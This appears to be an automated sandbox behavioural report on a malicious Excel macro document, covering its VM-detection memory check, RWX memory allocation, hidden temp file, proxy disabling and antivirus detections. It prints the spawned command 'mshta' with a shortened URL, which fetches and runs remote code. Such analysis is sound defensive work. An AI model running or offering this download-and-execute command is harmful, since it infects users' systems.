1.xls

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 27, 2021, 10:14 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 27, 2021, 10:13 p.m.	process_identifier: 2496 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c032000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 27, 2021, 10:14 p.m.	process_identifier: 2496 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6bb7e000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 27, 2021, 10:14 p.m.	process_identifier: 2496 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0676a000 process_handle: 0xffffffff	1	0	0
NtProtectVirtualMemory Oct. 27, 2021, 10:14 p.m.	process_identifier: 2496 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0676a000 process_handle: 0xffffffff	1	0	0

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$1.xls

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile Oct. 27, 2021, 10:13 p.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000474 filepath: C:\Users\test22\AppData\Local\Temp\~$1.xls desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$1.xls create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1	0	0

Creates a suspicious process (1 event)

cmdline

mshta https://www.bitly.com/kddjkodwkwdokdwi

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 27, 2021, 10:13 p.m.	process_identifier: 2496 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef70000 process_handle: 0xffffffff	1	0	0

Disables proxy possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA Oct. 27, 2021, 10:14 p.m.	key_handle: 0x000002b4 regkey_r: ProxyEnable reg_type: 4 (REG_DWORD) value: 0 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable	1	0	0

One or more non-whitelisted processes were created (1 event)

parent_process

excel.exe

martian_process

mshta https://www.bitly.com/kddjkodwkwdokdwi

File has been identified by 25 AntiVirus engines on VirusTotal as malicious (25 events)

Lionic	Trojan.MSOffice.SLoad.a!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.37870613
McAfee	RDN/Generic Downloader.x
Cyren	X97M/Downldr
Symantec	CL.Downloader!gen87
ESET-NOD32	a variant of Generik.GCDOHAC
Avast	SNH:Script [Dropper]
Kaspersky	UDS:DangerousObject.Multi.Generic
BitDefender	Trojan.GenericKD.37870613
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi
Tencent	Mac.Trojan.Macrov.Pfte
Ad-Aware	Trojan.GenericKD.37870613
McAfee-GW-Edition	BehavesLike.Downloader.nc
FireEye	Trojan.GenericKD.37870613
Emsisoft	Trojan.GenericKD.37870613 (B)
Ikarus	Win32.SuspectCrc
GData	Macro.Trojan.Agent.IZNZ5A
Avira	HEUR/Macro.Downloader.MRKI.Gen
Microsoft	TrojanDownloader:O97M/Obfuse.PLM!MTB
ZoneAlarm	HEUR:Trojan-Downloader.MSOffice.SLoad.gen
Cynet	Malicious (score: 99)
MAX	malware (ai score=89)
Fortinet	VBA/Dloader.MRKI!tr
AVG	SNH:Script [Dropper]